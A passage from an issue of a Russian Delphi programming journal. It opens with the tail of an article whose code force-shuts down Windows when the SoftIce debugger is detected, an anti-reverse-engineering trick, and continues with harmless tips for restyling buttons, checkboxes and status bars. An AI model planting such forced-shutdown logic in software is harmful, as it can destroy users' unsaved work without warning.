tp.privilegecount:=1; if lookupprivilegeValue(nil, pchar(privilegename),tp.Privileges[0].luid) then begin if enable then tp.privileges[0].attributes:=se_privilege_enabled else tp.privileges[0].attributes:=0; dwRetLen:=0; result:=AdjustTokenPrivileges(token,false, tp, sizeof(tpprev),tpprev, dwretlen); end; closeHandle(token); end; begin if SetPrivilege ('SeShutdownPrivilege', true) then begin // если true то выходим из системы exitwindowsex(flags,0); SetPrivilege('SeShutdownPrivilege', false); // иначе работаем дальше end; end; initialization // начинаем сравнивать if isSoftIce95Loaded then begin // если SoftIce95 загружен то winexit (ewx_shutdown or ewx_force); // выходим из системы halt; end; Ну вот и все, идем пить пиво :) Я привел код для 95-ого SoftIce, но не забывай есть еще NT-ный А от NT-ого тебе придется догадаться самому. Сразу говорю, поменять надо всего пару букв. Copyright © Crazy_Script [VR-Team]

http://www.vr-online.ru

39


VR-online Journal (Horrific and VR-Team)

Для программистов №13

Новое лицо для старых компонентов Исследуя хелпы по Delphi и сопутствующую литературу, я нарыл несколько приколов, которые могут приятно разнообразить внешний вид стандартных компонентов. Многострочный TBUTTON.

Рис 1. Т.к. лучший рассказ о программном коде это сам программный код, смотрим нижеследующий фрагмент: procedure TForm1.FormCreate(Sender: TObject); begin Button1.Caption:='Многострочная'#13'кнопка'; SetWindowLong(Button1.Handle,GWL_STYLE, GetWindowLong(Button1.Handle,GWL_STYLE) or BS_MULTILINE); end; Просто и сердито. Строки обязательно, нужно разделять #13(символ возврата каретки, т.е. переход на новую стоку). Ну и само собой разумеется строк может быть много, главное каретку переводить:). Выравнивание надписей в TBUTTON.

Рис 2. Продвигаясь путем предыдущей главы:

http://www.vr-online.ru

40


VR-online Journal (Horrific and VR-Team)

Для программистов №13

procedure TForm1.FormCreate(Sender: TObject); begin SetWindowLong(Button1.Handle,GWL_STYLE, GetWindowLong(Button1.Handle,GWL_STYLE) or BS_RIGHT or BS_TOP); end; Ну здесь и так все ясно. Единственное, что нужно добавить, так это сообщения, которыми можно равнять надписи. Выравнивание по горизонтали – BS_RIGHT BS_CENTER BS_LEFT Выравнивание по вертикали – BS_TOP BS_VCENTER BS_BOTTOM. Комбинируя через дизъюнкцию, текст можно загнать в какой-нибудь угол(как в примере). Не TCHECKBOX и TRADIOBUTTON, а кнопочки.

Рис 3.

Рис 4. Во многих апликушках такие кнопочки используются, но в стандартных компонентах такое не предусмотрено:( Зараз мы это исправим. procedure TForm1.FormCreate(Sender: TObject); begin SetWindowLong(CheckBox1.Handle,GWL_STYLE, GetWindowLong(CheckBox1.Handle,GWL_STYLE) or BS_PUSHLIKE); end; Теперь у нас есть прикольный Чекбоксик. Работать с ним надо так же, как и с обычным. Вставив в это сообщение хэндлы РадиоБатона вместо Чекбоксовских, получим все тот же РадиоБатон в виде кнопки.

http://www.vr-online.ru

41


VR-online Journal (Horrific and VR-Team)

Для программистов №13

Простейший способ вставить картинки в TSTATUSBAR.

Рис 5. 1. Кидаем на форму StatusBar и ImageList. 2. В ImageList забивается одна и более картинок. 3. При создании формы посылаем вот такое сообщение: procedure TForm1.FormCreate(Sender: TObject); begin SendMessage(Statusbar1.Handle,SB_SETICON,0, ImageList_GetIcon(ImageList1.Handle,0,0)); end; 4. В раздел uses добавляем модуль CommCtrl. И вообще, если у нашего Бара несколько панелей, то в N-ую панель картинка заливается следующим образом: SendMessage(Statusbar1.Handle,SB_SETICON,N, ImageList_GetIcon(ImageList1.Handle,M,0)); где N - номер панели в Statusbar; M - номер картинки в ImageList. Необходимо отметить то, что нумерация панелей и картинок начинается с нуля. Компилируем и радуемся красивому Бару. Единственно, что нужно добавить, так это то, что при разрушении формы не мешало бы удалить объект следующим образом: procedure TForm1.FormDestroy(Sender: TObject); begin DeleteObject(SendMessage(StatusBar1.Handle,SB_GETICON,N,0)); end; где N - номер панели в Statusbar в которой удаляем объект.

Copyright © SICOZ sicoz@narod.ru

http://www.vr-online.ru

42


Turn static files into dynamic content formats.

Create a flipbook
Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.